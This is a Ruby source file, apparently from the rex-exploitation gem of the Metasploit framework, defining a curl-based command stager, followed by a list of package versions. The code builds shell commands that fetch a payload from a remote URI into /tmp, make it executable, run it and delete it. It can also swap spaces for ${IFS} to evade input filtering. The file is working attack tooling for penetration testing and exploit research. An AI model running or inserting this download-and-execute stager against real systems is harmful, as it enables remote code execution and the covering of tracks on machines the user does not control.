Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def user_agent
    /^curl/
  end

  def generate(opts = {})
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    opts[:file] ||= Rex::Text.rand_text_alpha(8)
    @payload_path = "#{opts[:temp]}/#{opts[:file]}"

    super
  end

  def generate_cmds_payload(opts)
    cmds = []
    uri = opts[:payload_uri]

    if opts[:ssl]
      cmds << "curl -kso #{@payload_path} #{uri}"
    else
      uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
      cmds << "curl -so #{@payload_path} #{uri}"
    end

    cmds
  end

  def generate_cmds_decoder(opts)
    cmds = []

    cmds << "chmod +x #{@payload_path}"
    cmds << @payload_path
    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

    cmds
  end

  def compress_commands(cmds, opts)
    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
    super
  end

  def cmd_concat_operator
    ';'
  end

end

Version data entries

9 entries across 9 versions & 1 rubygems

Version	Path
rex-exploitation-0.1.37	lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.36	lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.35	lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.34	lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.33	lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.32	lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.31	lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.30	lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.29	lib/rex/exploitation/cmdstager/curl.rb